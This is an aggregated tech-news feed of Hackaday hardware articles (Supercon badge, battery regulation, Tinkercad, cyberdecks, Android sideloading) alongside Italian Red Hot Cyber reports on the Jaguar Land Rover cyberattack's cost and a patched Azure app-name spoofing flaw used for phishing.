It’s the moment you hard-core hardware nerds have been waiting for: the reveal of the 2025 Hackaday Supercon Communicator Badge. And this year, we’ve outdone ourselves, but that’s thanks to help from stellar collaboration with folks from the community, and help from sponsors. This badge is bigger than the sum of its parts, and we’ve planned for it to be useful for you to hack on in the afterlife. Indeed, as always, you are going to be the final collaborator, so we can’t wait to see what you’ll do with it.

We’re going out – wide out – on a limb and trying to create a dense mesh network of badges talking to each other at Supercon. It’s going to be like a badge-hosted collection of chat rooms, as connected as we can make them without talking over each other.

You look up a topic, say Retro Computing or SAO trading, punch in the channel number on the numpad, and your badge starts listening to everything going on around that topic. But they also listen to everything else, and repeat anything they hear on to their neighbors. Like IRC, but LoRa.

But let’s talk hardware. The first thing that hits you is the custom keyboard, a hat-tip to portable computing devices of yore, but actually infinitely more capable and even nicer under the thumbs. Behind the keyboard is a custom dome-switch sticker sheet and a TC8418 I2C keyboard matrix multiplexer chip, which does away with all of the diodes and decoding and makes a keyboard design easy.

In the driver’s seat is an ESP32-S3, courtesy of Espressif, no less. We asked, and they made it rain: it’s the good one with 8 MB of PSRAM and 16 MB of flash – plenty of room for about anything, and just enough pins to run the show. We needed the form-factor of the LCD screen for the aesthetics, and we’ll just say there’s not much choice in this shape; we had to go for an LCD with a strange newish driver chip, but we made it work with the help of sketchy Arduino init scripts found around the interwebs.

Did we mention LoRa? A Communicator Badge is no good without a means of communication. Seeed makes these nice little SX1262 LoRa modules, and they were our first choice not only because they’re cute, but also because they come with a bring-your-own antenna option, and they had enough of them in stock. (This is not to be underestimated these days!) SMA adapter, LiPo and charging circuitry, and badge is your uncle! Super thanks go out to DigiKey for sponsoring us all manner of needed components.

Radio Frequency Madness

Here is where we run into our first problem, and it’s the exact opposite of the problem that mesh networks are designed to solve. Those little LoRa radios transmit easily 1 km to 2 km in open space, maybe half that in an urban neighborhood. And we’re putting 500 hundred of them in the alley, with often just a couple meters between badges.

Somehow we missed [Bob Hickman]’s talk on SAOs with cheap components. So here is a special shout-out.The game here, in this Bizarro world, is trying to figure out how little power each badge can use while still holding the mesh network somewhat together. It’s an experiment, it’s uncharted territory, and we’d bet that if they had a world record for the most long-range radios within the shortest range of each other, we’d win!

Still, we’ve got some tricks up our sleeve, we’ve got a lot of bandwidth at our discretion, and we’ve got a smart bunch of hackers. We can make this work, and we will have some odd corners of radio spectrum for you to play around with too. Get together with a couple friends and have fun with RF.

We’ll also be broadcasting Supercon-relevant news out to the badges from time to time. Things like which talks are coming up, when and where the food has arrived, and so on.

The Keyboard

Back to the keyboard. Hackaday superfriend [Arturo182] was one of the first few people to make the new-old-stock Blackberry keyboards usable for the masses, building on the work of [JoeN] and [WooDWorkeR]. But hacker demand has dried up the global stock of the old gems, and [Arturo] turned to making his own keyboards. We saw his prototypes and had to get in on the action.

Other badges have come out using his stock keyboard, but only Hackaday and Supplyframe’s Design Lab was foolish enough to do something totally custom. Actually, it was super easy with [Arturo] leading the keyboard project, because he knows all about the details of preparing the designs for the keyboard dome sheets, and worked with the Design Lab team and Supplyframe’s designer [Bogdan Rosu] to get the custom silicone covers looking pretty. Thanks [Arturo]!

The Software?

The software is still under wraps. The folks at Design Lab are turning out badges as fast as they can, even as we write this, and that means that we’re still working on the software. The last minute is the sweetest minute. Again, though, we’re not alone.

The brains behind the software effort is [Spaceben], and I have to say I haven’t seen such clean Python code in my life. Everything is possible when you have good folks on your team.

We’re using the LVGL graphics framework for Micropython, which makes the GUI design a lot snazzier than it would otherwise be. It was also easy enough to port our funny display driver to lvgl_micropython, and we’re working on the keyboard too. We’ll see what works on Supercon Day 1!

Your Turn

And that brings us to you! Mesh-network-IRC is fun during the conference, but after the fact, these badges are going to be too good to just leave on the shelf. Porting Meshtastic to the badge would be a fantastic project. The keyboard, WiFi, and Bluetooth connectivity just beg for some kind of handheld remote-control device design. The panel for a home automation setup? Or heck, go super simple and just wire the I2C keyboard out to your next project that needs one. We’d bet a Jolly Wrencher sticker that the badge could be quickly transformed into an ELRS radio control unit.

We love the badge scene, and like many of you out there, we find it’s a pity when the badges just sit in the closet. So we tried to plan for the afterlife here by making the badge hardware as useful as we could, and by making the software side as accessible as possible. Those of you who hack on the badge during Supercon, you’ll be blazing the trails for the rest of us afterwards.

We hope you find it fun to chat with others at Supercon, a fun platform to work on, and something useful after the fact. Managing an ad-hoc chaos mesh network isn’t going to be easy, but the real goal is the friends you meet along the way. See you all at Supercon!

hackaday.com/2025/10/23/announ…

Jaguar Land Rover continua ad affrontare le conseguenze dell’attacco informatico che ha paralizzato la produzione, interrotto la rete di concessionari e messo a repentaglio le catene di approvvigionamento.

Nei maggiori impianti del Regno Unito, la fabbricazione di veicoli è stata interrotta per un periodo di quasi cinque settimane. Una riduzione di produzione di quasi 5.000 veicoli a settimana è stata registrata nel Regno Unito durante la sospensione, corrispondente a una perdita stimata settimanale di 108 milioni di sterline per le operazioni di JLR nel Regno Unito, includendo sia i costi fissi sia le perdite di profitto.

Il Cyber Monitoring Centre stima stima che l’evento abbia causato un impatto finanziario nel Regno Unito di 1,9 miliardi di sterline e abbia interessato oltre 5.000 organizzazioni del Regno Unito . L’intervallo di perdita modellato è compreso tra 1,6 e 2,1 miliardi di sterline, ma potrebbe essere superiore in caso di impatto significativo sulla tecnologia operativa o di ritardi imprevisti nel riportare la produzione ai livelli precedenti l’evento. Questa stima riflette la sostanziale interruzione della produzione di JLR, della sua catena di fornitura multilivello e delle organizzazioni a valle, comprese le concessionarie. La stima è sensibile alle ipotesi chiave, tra cui la data in cui JLR sarà in grado di ripristinare completamente la produzione e il profilo della ripresa; questa e altre ipotesi e limitazioni sono discusse più avanti in questo documento.

La valutazione dell’impatto finanziario si basa su un ritorno alla piena produzione all’inizio di gennaio 2026. A seguito delle chiusure dovute al COVID, JLR ha impiegato diverse settimane per tornare alla piena produzione. Un ritorno all’inizio di gennaio si basa sul contributo di esperti secondo cui JLR probabilmente incontrerà ulteriori complessità nel suo ritorno alla piena operatività, a causa delle continue sfide all’interno dell’infrastruttura IT o dei vincoli della catena di approvvigionamento.

Si prevede che il ritorno alla piena produzione sarà impegnativo, con la possibilità che si presentino problemi imprevisti che dovranno essere risolti. E’ stata ipotizzata una ripresa lineare dall’8 ottobre, quando è stato annunciato il ritorno alla produzione limitata, fino all’inizio di gennaio 2026.

Il Cyber Monitoring Centre ha riportato che per ragioni attualmente poco chiare, sono emersi pubblicamente meno dettagli tecnici su questo incidente rispetto al solito in casi simili.

La valutazione dell’impatto finanziario dell’incidente dipende fortemente dai dettagli tecnici, soprattutto per quanto riguarda l’influenza sulla tecnologia operativa (OT) di JLR, un aspetto fondamentale in questo contesto.

La portata dell’impatto dipenderà dall’estensione degli exploit dannosi realizzati, dai sistemi coinvolti e dalle possibili ulteriori conseguenze che potrebbero scaturire da un’interruzione non controllata.

Effettuare un blocco della produzione significa che è esistito un rischio significativo che gli aggressori potessero minare o avrebbero potuto minare le strutture operative essenziali, aumentando così il rischio di un’interazione dannosa tra i sistemi operativi e quelli informatici. Tuttavia, la ripresa della produzione all’inizio di ottobre suggerisce che l’entità di questo rischio sia probabilmente contenuta.

L'articolo 2,5 miliardi di dollari: il costo dell’attacco informatico a Jaguar Land Rover proviene da Red Hot Cyber.

Compared to the old 8-bit Arduinos, it’s incredible how cheap modern microcontrollers like the ESP32 have become. But there are even cheaper options out there if you don’t need that kind of horsepower, and are willing to do a little work yourself, as [atomic14] demonstrates.

The CH32V003 is a dirt cheap microcontroller—which can reportedly be had for as little as 10 cents if you know where to look. It’s not the most powerful chip by any means, boasting just 16 K flash, and 2 K of SRAM. However, it is a 32-bit RISC V machine, and it does run at 48 MHz—giving it a leg up on many 8-bit parts that are still out there.

Surprisingly there aren’t a whole lot of CH32V003 products for the maker market, so if you want to play with it, you’ll probably need to spin up your own boards. [atomic14] does just that, showing us how the chip can be put to good use by turning it into a little musical trinket. It’s a fun demo, and a great way to get to grips with programming on a new microcontroller platform.

It’s hard to get more chiptune than a 10 cent chip beeping its little head off. How could possibly justify spending tens of dollars modding a Game Boy when this exists, even if it sounds like a caffeinated greeting card?

youtube.com/embed/RiiS4jjG6ME?…

hackaday.com/2025/10/23/10-cen…

Having a gadget’s battery nestled snugly within the bowels of a device has certain advantages. It finally solves the ‘no batteries included’ problem, and there is no more juggling of AA or AAA cells, nor their respective chargers. Instead each device is paired to that one battery that is happily charged using a standardized USB connector, and suddenly everything is well in the world.

Everything, except for the devices that cannot be used while charging, wireless devices that are suddenly dragging along a wire while charging and which may have charging ports in irrational locations, as well as devices that would work quite well if it wasn’t for that snugly embedded battery that’s now dead, dying, or on fire.

Marrying devices with batteries in this manner effectively means tallying up all the disadvantages of the battery chemistries and their chargers, adding them to the device’s feature list, and limiting their effective lifespan in the process. It also prevents the rapid swapping with fresh batteries, which is why everyone is now lugging chunky powerbanks around instead of spare batteries, and hogging outlets with USB chargers. And the task of finding a replacement for non-standardized pouch cell batteries can prove to be hard or impossible.

Looking at the ‘convenience’ argument from this way makes one wonder whether it is all just marketing that we’re being sold. Especially in light of the looming 2027 EU regulation on internal batteries that is likely to wipe out the existence of built-in batteries with an orbital legal strike. Are we about to say ‘good riddance’ to a terrible idea?

Not Very Pro

The Nikon EL-EN15 battery.
To further rub in how much of a terrible idea built-in batteries are, one only has to look at professional equipment, particularly in the audiovisual world. Whether we are talking about DSLRs, mirror-less cameras, or professional video cameras, they all have as standard feature the ability to quickly swap batteries. Nikon and Canon cameras use a range of proprietary-but-standard Li-ion batteries, with Sony’s video camera batteries also used on portable studio lighting. For the super-expensive Red video cameras you can use either the massive Redvolt batteries that dangle off the side or a power adapter.

The reasoning here is simple: when you are doing a photo or film shoot you do not have time for charging, so you load up with a stash of charged batteries beforehand. As the current battery becomes drained, you pop open the battery hatch or detach the current pack and slam in a fresh battery before resuming. During moments of downtime you can put the drained batteries on the charger that you have squirreled away somewhere. This way you stay wireless and charged with zero fuss, and if you have enough batteries, zero downtime.

Even within the era of budget photo and video cameras you’d be able to do this. When it comes to my own JVC camcorder and Canon IXUS 100 IS point-and-shoot camera, both offer this feature, even if the battery swapping experience doesn’t feel as premium as with the Nikon D7200 DSLR and its EN-EL15 batteries that is used for more serious occasions. Swapping batteries with the DSLR in particular is as easy as swapping SD cards, which is to say a matter of seconds.

One might get the idea here that the main reason to stuff a pouch cell somewhere inside the device is mostly a cost-saving measure, as it omits the battery terminals and ejection mechanism for the pack.

Battery Decay

Another reason why having a built-in battery with a multi-thousand-Euro DSLR would be a terrible idea beyond the insanity of having to ‘charge the DSLR’, is that the battery will be dead long before even the warranty on the DSLR has expired, especially if you are an avoid shooter. Even if you do not use a device that much, the fact of the matter is that lithium-ion cells begin to degrade as soon as they have been manufactured. This may be acceptable in a €1,000+ smartphone when people buy a new one every other year anyway, but becomes a problem when you’d like to use a device for much longer.

A good summary of the how and why of lithium-ion batteries (LIB) can be found in this IEEE review article by Wiljan Vermeer et al. from 2021. The three main aging mechanisms are:

• Loss of Lithium Inventory (LLI).
• Loss of Active Material (LAM).
• Conductivity Loss (CL).

There are multiple ways in which each type of aging can occur, with most requiring the cell to be charged and discharged, as this inflicts mechanical and other types of stress. When it comes to storing LIBs, we enter the territory of calendar aging. This has an irreversible and reversible component, the former being impacted by three components: the state of charge (SoC), temperature, and time.
Calendar aging of NMC Li-ion cells at 50 ℃ and at various SoCs. (Credit: Wiljan Vermeer, IEEE, 2021)
What this tells us is that although you can affect LIB calendar aging, it’s a pretty inevitable aspect of their chemistry. This is true even in the case of the lithium-polymer (LiPo) LIB type batteries with its polymer electrolyte. This effectively means that charging the battery in a device to 80% instead of 100% will give it some more life, but you’d have to drop down to 50% or less to see the big gains. It’s also highly advisable to keep the battery relatively cool, which is where fast-charging is a terrible idea, especially as the resistance of the battery goes up due to aging.

While the exact mechanisms behind calendar aging are still being investigated, it’s likely that the layer that forms at the electrochemically unstable electrolyte-electrode interface (SEI) restructures to prevent the transfer of lithium ions, effectively increasing the measured resistance via the CL aging path.

In addition to calendar aging you have the charge-discharge cycle-based aging mechanisms, which not only affects the SEI, but also causes mechanical expansion of the graphite anode material, which leads to both the LLI and LAM aging paths. When you then add in the typical charging method for gadgets like smartphones using a LIB-based powerbank, you end up with double the charge-discharge cycles over simply slotting in a fresh battery.

End Of The Road

Replacing the battery in the Samsung Galaxy Nexus. (Credit: Maya Posch)
Beyond larger electronic devices, pouch cell LIBs are now integrated in countless more gadgets, from lamps to Bluetooth speakers. To address the sheer volume of these built-in LIBs, the EU’s Battery Regulation will begin to enforce its removability and replaceability requirements starting on 18 February of 2027.

The batteries which we discussed in this article fall under so-called ‘portable batteries’, meaning that it weighs less than 5 kg and is not used for an electric vehicle. These are required to make it possible for the end user to replace and remove, all without damaging or destroying the battery or the device, and without requiring any special tools. There are some partial safety-related exceptions where a professional can do said replacement, while a full exception is limited to a number of very specific device categories.

What exactly the fallout of this change will be remains to be seen, with manufacturers likely starting to adapt their products throughout 2026. Devices like smartphones, game controllers, but also Bluetooth speakers, wireless mice and portable game consoles will all be affected, so it’ll be interesting to see what approach we will see here.

Perhaps most of all what it might mean for standardization of cells and batteries, as every device that’s put on the market in the EU must have spare batteries available for reasonable cost for five years after it stops being sold. Clearly this would be cheaper if the same battery just got used for decades, somewhat like the veritable AA cell and today’s 18650 and similar formats.

So Many Standards

The process of standardization is a rough one, with sometimes the legislature leaning into the issue after consultation with a requirement, as with USB-based chargers. Other times the market simply picks something that’s readily available and does the job. One example of this is the Nokia BL-5C battery and its variations, which was quite prevalent due to Nokia using it for its phones and other platforms like the N-Gage. Consequently third-party manufacturers made their own compatible versions for use in a wide range of devices.
The Nokia BL-5C Lithium-Ion battery, this one from a Nokia N-Gage. (Credit: Evan-Amos)
While the BL-5C is still fairly large, at 53 mm x 34 mm and a thickness of 6 mm, point and shoot cameras as well as action cameras feature a range of smaller batteries, with the Canon NB-4L as used in the IXUS point and shoot cameras providing more than 750 mAh in a 35 mm x 40 mm package and a similar 5.9 mm thickness. The third-party replacements that I got of the NB-4L claim to provide 1,200 mAh, as modern LIBs tend to have more capacity within the same form factor due to more refined manufacturing.

Interestingly, even rechargeable AA-sized cells aren’t limited to NiMH chemistry any more, with Li-ion options now available yet still providing the 1.5 V one would expect. This does require a bit of electronics in the cell, and results in them having a capacity that’s similar to that of NiMH AA cells, while suffering all the aging issues of any other LIB in addition to the limited number of charge cycles. Assuming that the 1.2 V of NiMH cells is acceptable, then devices could accept AA or AAA NiMH cells.

Of note here is that none of this means that having a power input port for charging the battery or cell inside the device itself is no longer possible or allowed. Depending on the device manufacturer, the new EU regulations should mean little difference for the end user, other than having the option to pop open each device to extract and replace the battery. This could mean that wireless mice and Bluetooth headsets will soon feature an alternative to sticking in that charge cable and have the device be mostly useless until its built-in battery has soaked up sufficient juice.

Although this is an EU-only thing, it’s likely to come to every other part of the globe as well.

hackaday.com/2025/10/23/built-…

Unless you are over a certain age, you probably take it for granted that electronic gadgets you buy have some FCC marking on them. But it wasn’t always true. [Ernie] submits that the FCC’s regulation of the computer industry was indirectly the result of the success of CB radio in that same time period.

Today, there is a high chance you don’t watch TV directly over the airwaves or even consume audio from a traditional radio station. Even if you do, the signal is increasingly likely to be digital. But only analog radio and TV were highly susceptible to interference. When a professional radio station or the power company interfered with you watching I Love Lucy, you could count on them to resolve it. Even ham radio operators, a small segment of the population, would, in general, graciously help you if their transmissions interfered with your equipment.

Never mind that, in many cases, it was the cheap TV or some other problem on the receiving end. Then there was another source of potential interference: CB radio. At first, you were about as likely to encounter a CB operator as a ham radio operator. But then in the 1970s, CB exploded, becoming a cultural phenomenon, and you can hear what a state it was in by watching the contemporary TV report in the video below.

This explosion of operators who did nothing more than apply for a license (if they even bothered to do so) and bought their equipment at a local store had no idea how to help curb interference, even if they wanted to. In 1977, the AP reported that 83% of the FCC’s TV interference complaints involved CB radio.

Early computers were also very noisy on the radio bands. So much so that early attempts at computer audio output were simply modulating the radio frequency interference. Again, at first, this wasn’t a huge problem. But as computers became more common, so did computer-related interference, and the FCC didn’t want to deal with another CB radio-style explosion.

The rest is, as they say, history, and [Ernie] covers it all in the post. Getting a product approved by the FCC isn’t trivial, but if you have to do it, we have some advice.

youtube.com/embed/3O0Ak8NySbs?…

hackaday.com/2025/10/23/why-do…

The Unihiker K10 is intended to be a small single-board solution for light AI and machine learning tasks. However, you don’t have to use it in that way if you don’t want to. [mircemk] figured out how to repurpose the device, and whipped up a simple Internet clock build to demonstrate how it’s done.

While the Unihiker K10 is based on the common ESP32 microcontroller, out of the box, it isn’t compatible with standard Arduino libraries. However, [mircemk] had previously figured out how to get the K10 to play nice with the Arduino environment, building a simple light meter as a proof of concept. It just took a little tinkering to get everything playing nicely together, but soon enough, the TFT LCD and a light sensor were playing nicely with the K10 platform.

Moving forward, [mircemk] wanted to unlock more capability, so set about figuring out how to get WiFi and the onboard buttons working within the Arduino environment. A great way to test this was building a clock—the screen would show an analog clock face, the buttons would be used for control, and the WiFi would be used to query an NTP time server to keep it synced up and accurate.

It took a little work, particularly as the buttons are accessed through an external I/O expansion chip, but [mircemk] got there in the end. The clock may not be a particularly advanced project, but the write-up demonstrates how the K10 can readily be used with Arduino libraries for when you’re not interested in leveraging its fancier AI/ML capabilities.

We’ve seen a few good builds from [mircemk] before, too, like this neat proximity sensor.

youtube.com/embed/ERkO8fwU9LM?…

hackaday.com/2025/10/23/making…

Una nuova ondata di inganni digitali ha colpito l’ecosistema Microsoft Azure, dove vulnerabilità appena scoperte hanno consentito ai criminali informatici di creare app dannose che imitavano perfettamente servizi ufficiali come Microsoft Teams o il Portale di Azure. Applicazioni “fake” identiche alle originali, capaci di trarre in inganno anche utenti esperti.

La scoperta, firmata dai ricercatori di Varonis, ha rivelato che le misure di sicurezza di Azure, progettate per bloccare i nomi riservati, potevano essere bypassate utilizzando caratteri Unicode invisibili. Inserendo caratteri come il Combining Grapheme Joiner (U+034F) tra le lettere, ad esempio in “Az͏u͏r͏e͏ ͏P͏o͏r͏t͏a͏l”, gli aggressori riuscivano a registrare app che apparivano legittime ma che il sistema interpretava come diverse. Un trucco subdolo, funzionante con oltre 260 caratteri Unicode, che ha permesso la creazione di app “clonate” con nomi riservati come Power BI o OneDrive SyncEngine.
Screenshot Varonis: esempio di app contraffatta che mostra il nome “Azure Portal” tramite caratteri Unicode invisibili
La vera forza di questo attacco risiedeva nell’inganno visivo: le pagine di consenso delle app contraffatte apparivano autentiche, spesso accompagnate da icone e loghi Microsoft. Molte applicazioni, infatti, non mostrano alcun badge di verifica, e gli utenti, vedendo nomi familiari, finivano per ignorare gli avvisi “non verificato” e concedere permessi completi.

Da lì partiva la seconda fase: e-mail di phishing costruite ad arte portavano le vittime su pagine di consenso falsificate, dove bastava un clic su “Accetta” per concedere token di accesso validi senza nemmeno inserire la password. In altri casi, gli attaccanti utilizzavano il cosiddetto phishing del codice del dispositivo, generando un codice di verifica legittimo per un’app malevola e convincendo la vittima a inserirlo su un portale apparentemente sicuro. In pochi secondi, la sessione veniva dirottata.

Chi lavora su ambienti Microsoft 365 conosce bene la potenza dei consensi applicativi e delegati: le prime permettono a un’app di agire per conto dell’utente, le seconde garantiscono accesso autonomo alle risorse. In mani sbagliate, questi permessi diventano strumenti di accesso iniziale, persistenza e escalation dei privilegi, aprendo la strada a compromissioni su larga scala.

Dopo la segnalazione, Microsoft ha corretto il bug nel bypass Unicode ad aprile 2025 e ha chiuso ulteriori varianti a ottobre 2025. Le patch sono state distribuite automaticamente, senza richiedere interventi diretti da parte dei clienti. Tuttavia, i ricercatori di Varonis sottolineano che il monitoraggio dei consensi, l’applicazione del principio del minimo privilegio e la formazione degli utenti restano elementi essenziali per ridurre il rischio.

Questo episodio dimostra ancora una volta come l’ingegneria sociale resti l’arma più efficace dei criminali informatici. Non servono exploit complessi quando basta una pagina di login perfettamente imitata e un nome familiare per convincere qualcuno a cliccare. Nel mondo del cloud, la fiducia può trasformarsi in una lama a doppio taglio: un consenso apparentemente innocuo può aprire le porte dell’intero tenant e compromettere seriamente la sicurezza dell’ambiente Microsoft 365.

L'articolo Azure sotto attacco: app false che imitano Microsoft Teams e Portale di Azure proviene da Red Hot Cyber.

Obsolete hardware is all around us, and some of it has some pretty interesting tech buried within. One such device is an old Belgacom TV Box. Instead of using the ubiquitous LCD screen, it uses a VFD display for its user interface, and [Jean] has taken control of it with the ESPTimeCastVFD project.

Inside this box is a mix of two different 7-segment displays, which he uses to show the time and date, and 12 VFD displays, which are used to show weather data. To get the display working, the box was taken apart, and there were a few different areas [Jean] had to tap into: power for the soon-to-be-embedded ESP32-WROOM-32, as well as tying into the SPI lines to control the VFD. [Jean] also needed a 3.3V to 5V level shifter, and for this he used a 74LS125N dating all the way back to 1978.

The ESPTimeCast project, which we’ve featured here before, handles a lot of the time display and weather forecast shown on the front panel. However, [Jean] did have to add support for the VFD display, as well as adding wind speed to the display—as one of his uses for this is to judge the day’s suitability for flying RC planes. Once powered up, the ESP32 hosts a WiFi access point, allowing you to connect to it and set the configuration of the device, such as location, WiFi credentials, what displays you want to see, and many more. Thank you [Jean] for sending in your hack, saving this device from a landfill by turning it into a personalized display! Be sure to check out some of our other weather displays we’ve featured!

youtube.com/embed/aGmEJsrTPH8?…

hackaday.com/2025/10/22/esp32-…

Although nuclear fusion is exceedingly easy to achieve, as evidenced by desktop fusors, the real challenges begin to pop up whenever you try to sustain a plasma for extended periods of time, never mind trying to generate net energy output. Plasma instability was the reason why 1950s UK saw its nuclear fusion hopes dashed when Z-pinch fusion reactors failed to create a stable plasma, but now it seems that another UK fusion reactor is one step closer to addressing plasma instability, with the MAST Upgrade tokamak demonstrating the suppressing of ELMs.

ELMs, or edge localized modes, are instabilities that occur at the edge of the plasma. A type of magnetohydrodynamic instability, ELMs were first encountered after the switch to high-confinement mode (H-mode) to address instability issues encountered in the L-mode operating regime of previous tokamaks. These ELMs cause damage on the inside of the reactor vessel with these disturbances ablating the plasma-facing material.

One of the solutions proposed for ELMs are resonant magnetic perturbations (RMPs) using externally applied magnetic fields, with the South-Korean KSTAR tokamak already suppressing Type I ELMs using this method in 2011. Where the KSTAR and MAST Upgrade tokamaks differ is that the latter is a spherical tokamak, different from the more typical toroidal tokamak. As the name suggests, a spherical tokamak creates a sphere-like plasma rather than a doughnut-shape, with potential efficiency improvements.

All of this means that the MAST Upgrade tokamak can continue its testing campaign, as tokamaks around the globe keep trying to hit targets like the Greenwald Density Limit and other obstacles that stand in the way of sustained net energy production. Meanwhile stellarators seem to be surpassing one milestone after another, with the German Wendelstein 7-X being the current flagship project.

Top image: Inside MAST Upgrade, showing the magnetic field coils used to control ELMs. Credit: United Kingdom Atomic Energy Authority

hackaday.com/2025/10/22/uks-ma…

Tinkercad is famous for having lots of colors in the interface. But once you export an STL, that file is notoriously monochrome. If you are printing with a single color printer, no problems. But if you have a color printer, what do you do? [CHEP] shows some options, including a relatively new one, in the video below.

The simple way is to “paint” the STL inside your slicer. But as [CHEP] shows, that is a pain and also has some undesirable side effects. A better approach is to export each part (or, at least, each part of the same color) into separate STL files, which you can then import together in the slicer. You still have to paint, but you don’t have to select different faces, and the resulting coloring is more what you’d expect.

However, we also learn about a new Tinkercad feature: bundle groups. This is like the traditional “union group,” except it preserves the part structure in the export file. Now you can import a single file, split it into parts, and get a similar result to what you get if you export each piece separately.

[CHEP] uses a made-up example of a robot head. In reality, rotating it would have made printing much easier, but it does show his point. We might have grouped the eyes, but maybe you want a robot with heterochromia. Also, if your projects get complex, you might not appreciate the part names being things like “Robot Head (3).stl_3.” No worries. You can click on the name and rename it in the slicer.

The second method is very similar to what we recently did in OpenSCAD. Color 3D printing is mainstream now, and it is good to see tools like Tinkercad are recognizing that. If you have an SVG file, we’d suggest this tool.

youtube.com/embed/lHDZkGmiTAI?…

hackaday.com/2025/10/22/tinker…

The cool thing about building your own computer is that you don’t have to adhere to industry norms of form and function. You can build whatever chunky, awesome thing your heart desires, and that’s precisely what [Rahmanshaber] did with the MutantC cyberdeck.

The build is based around a Raspberry Pi Compute Module 4. If you’re unfamiliar with the Compute Module, it’s basically a Raspberry Pi that has been designed specifically for easy integration into a larger carrier PCB. In this case, the carrier PCB interfaces all the other necessary gear to make this a fully functional computer. The PCB is installed inside a vaguely-rectangular 3D-printed enclosure, with a 5-inch TFT LCD on a sliding mount. Push the screen up, and it reveals a small-format keyboard for text entry. There’s also a hall-effect joystick and a couple of buttons for mouse control to boot. [Rahmanshaber] has designed the computer to run off a couple of different battery packs—you can use a pair of 18650 cells if you like, or switch to lager 21700 cells if you want greater capacity for longer running time.

If you want a portable Raspberry Pi cyberdeck, you might find this to be a great inspiration. We’ve featured many other designs in this vein before, too. Video after the break.

youtube.com/embed/iGp8R7jUNkI?…

hackaday.com/2025/10/22/handhe…

This week Jonathan talks to Robert Wolff about DevEco! How did this developer group come to be, and what is its purpose? What are the lessons learned about building communities and working with others? Watch to find out!

• linktr.ee/deveco
• linktr.ee/robertwolff
• linktr.ee/thedeveco
• thedeveco.com/
• discord.gg/deveco

youtube.com/embed/_EkNc3A4n4k?…

Did you know you can watch the live recording of the show right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2025/10/22/floss-…

If you’re blessed with high water pressure at home, you probably love how it helps blast grime from your dishes and provides a pleasant washing experience. However, it can also cause a wonderful mess when that water splashes all over your countertops. [vgmllr] has whipped up a simple solution to this problem by installing an automatic splash guard.
So tidy!
The concept is simple enough—install a pair of flat guards that raise up when the sink is running, in order to stop water getting everywhere. To achieve this, [vgmllr] grabbed an Arduino, and hooked it up to a piezo element, which acts as a water sensor.

The piezo is attached to the bottom of the sink, and effectively acts as a microphone, hooked up to one of the Arduino’s analog-to-digital pins. When water flow is detected, the Arduino commands two servos to raise a pair of 3D printed arms that run up and down the outside of the sink. Each arm is fitted with magnets, which mate with another pair of magnets on the splash shields inside the sink. When the arms go up, the splash shields go up, and when the arms go down, the splash shields go down.

It’s an ingenious design, mostly because the installation is so clean and seamless. By using magnets to move the splash shields, [vgmllr] eliminated any need to drill through the sink, or deal with any pesky seals or potential water leaks. Plus, if the splash shields are getting in the way of something, they can easily be popped off without having to disassemble the entire mechanism.

It’s a tidy little build, both practical and well-engineered. It’s not as advanced as other kitchen automations we’ve seen before, but it’s elegant in its simple utility.

hackaday.com/2025/10/22/kitche…

When the microcomputer first landed in homes some forty years ago, it came with a simple freedom—you could run whatever software you could get your hands on. Floppy disk from a friend? Pop it in. Shareware demo downloaded from a BBS? Go ahead! Dodgy code you wrote yourself at 2 AM? Absolutely. The computer you bought was yours. It would run whatever you told it to run, and ask no questions.

Today, that freedom is dying. What’s worse, is it’s happening so gradually that most people haven’t noticed we’re already halfway into the coffin.

News? Pegged.

There are always security risks when running code from untrusted sources. The stakes are higher these days when our computers are the gateways to our personal and financial lives. Credit: Screenshot
The latest broadside fired in the war against platform freedom has been fired. Google recently announced new upcoming restrictions on APK installations. Starting in 2026, Google will tightening the screws on sideloading, making it increasingly difficult to install applications that haven’t been blessed by the Play Store’s approval process. It’s being sold as a security measure, but it will make it far more difficult for users to run apps outside the official ecosystem. There is a security argument to be made, of course, because suspect code can cause all kinds of havoc on a device loaded with a user’s personal data. At the same time, security concerns have a funny way of aligning perfectly with ulterior corporate motives.

It’s a change in tack for Google, which has always had the more permissive approach to its smartphone platform. Contrast it to Apple, which has sold the iPhone as a fully locked-down device since day one. The former company said that if you own your phone, you could do what you want with it. Now, it seems Google is changing its mind ever so slightly about that. There will still be workarounds, like signing up as an Android developer and giving all your personal ID to Google, but it’s a loss to freedom whichever way you look at it.

Beginnings

Sony put a great deal of engineering into the PlayStation to ensure it would only read Sony-approved discs. Modchips sprung up as a way to get around that problem, albeit primarily so owners could play cheaper pirated games. Credit: Libreleah, CC BY-SA 4.0,
The walled garden concept didn’t start with smartphones. Indeed, video game consoles were a bit of a trailblazer in this space, with manufacturers taking this approach decades ago. The moment gaming became genuinely profitable, console manufacturers realized they could control their entire ecosystem. Proprietary formats, region systems, and lockout chips were all valid ways to ensure companies could levy hefty licensing fees from developers. They locked down their hardware tighter than a bank vault, and they did it for one simple reason—money. As long as the manufacturer could ensure the console wouldn’t run unapproved games, developers would have to give them a kickback for every unit sold.

By and large, the market accepted this. Consoles were single-purpose entertainment machines. Nobody expected to run their own software on a Nintendo, after all. The deal was simple—you bought a console from whichever company, and it would only play whatever they said was okay. The vast majority of consumers didn’t care about the specifics. As long as the console in question had a decent library, few would complain.
Nintendo created the 10NES copy protection system to ensure its systems would only play games approved by the company itself, in an attempt to exert quality control after the 1983 North American video game crash. Credit: Evan-Amos, public domain
There was always an underground—adapters to work around region locks, and bootleg games that relied on various hacks—with varying popularity over the years. Often, it was high prices that drove this innovation—think of the many PlayStation mod chips sold to play games off burnt CDs to avoid paying retail.

At the time, this approach largely stayed within the console gaming world. It didn’t spread to actual computers because computers were tools. You didn’t buy a PC to consume content someone else curated for you. You bought it to do whatever you wanted—write a novel, make a spreadsheet, play games, create music, or waste time on weird hobby projects. The openness wasn’t a bug, or even something anybody really thought about. It was just how computers were. It wasn’t just a PC thing, either—every computer on the market let you run what you wanted! It wasn’t just desktops and laptops, either; the nascent tablets and PDAs of the 1990s operated in just the same way.

Then came the iPhone, and with it, the App Store. Apple took the locked-down model and applied it to a computer you carry in your pocket. The promise was that you’d only get apps that were approved by Apple, with the implicit guarantee of a certain level of quality and functionality.
Apple is credited with pioneering the modern smartphone, and in turn, the walled garden that is the App Store. Credit: Apple
